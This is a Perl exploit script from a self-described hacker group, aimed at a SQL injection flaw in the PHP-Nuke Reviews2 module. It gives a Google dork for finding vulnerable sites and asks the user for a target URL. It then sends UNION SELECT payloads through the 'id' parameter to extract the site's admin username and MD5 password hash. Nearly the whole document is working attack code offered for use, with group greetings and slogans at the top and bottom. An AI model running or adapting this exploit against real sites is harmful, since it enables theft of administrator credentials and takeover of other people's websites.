#!/usr/bin/perl -w


#PHP-NUKE module Reviews2 (id) SQL injetion vulnerability#
########################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er.

#[!] Module_Name:  Reviews2
#[!] Script_Name:  PHP-NUKE
#[!] Google_Dork:  inurl:"modules.php?name=Reviews2"
########################################


system("color FF0000"); 
system("Title Kosova Hackers Group by boom3rang");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|                 Kosova Hackers Group                      |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| PHP-NUKE module Reviews2 (id) SQL injetion vulnerability  |\n\n";
print "\t\t|   Coded by: boom3rang      www.khg-crew.ws               |\n\n";
print "\t\t-------------------------------------------------------------\n\n";

use LWP::UserAgent;

print "\nEnter your Target EXP:[http://site.com/path/]: ";
  chomp(my $target=<STDIN>);

$column_name="aid";
$table_name="nuke_authors";

$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

$host = $target .   "modules.php?name=Reviews2&rop=showcontent2&id=-9999+union+select+1,2,aid,".$column_name.",4,5,6,7,8,9,0,11,12+from/**/".$table_name."/**";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;

print "\n[+] The Target : ".$target."";

if ($answer =~ /<user>(.*?)<user>/){
       
    print "\n[+] Admin User : $1";
}
$host2 = $target .   "modules.php?name=Reviews2&rop=showcontent2&id=-9999+union+select+1,2,aid,pwd,5,6,7,8,9,0,11,12+from+nuke_authors--";
$res2 = $b->request(HTTP::Request->new(GET=>$host2));
$answer = $res2->content;
if ($answer =~/([0-9a-fA-F]{32})/){
    print "\n[+] Admin Hash : $1\n\n";
    print "#   Succeed (Veprimi u kry me sukses)!  #\n\n";
}
else{print "\n[-] Failed(Dështoi) Exploit...\n";
}

###############################
# Proud 2 be Albanian
# Proud 2 be Muslim
# United States of Albania
###############################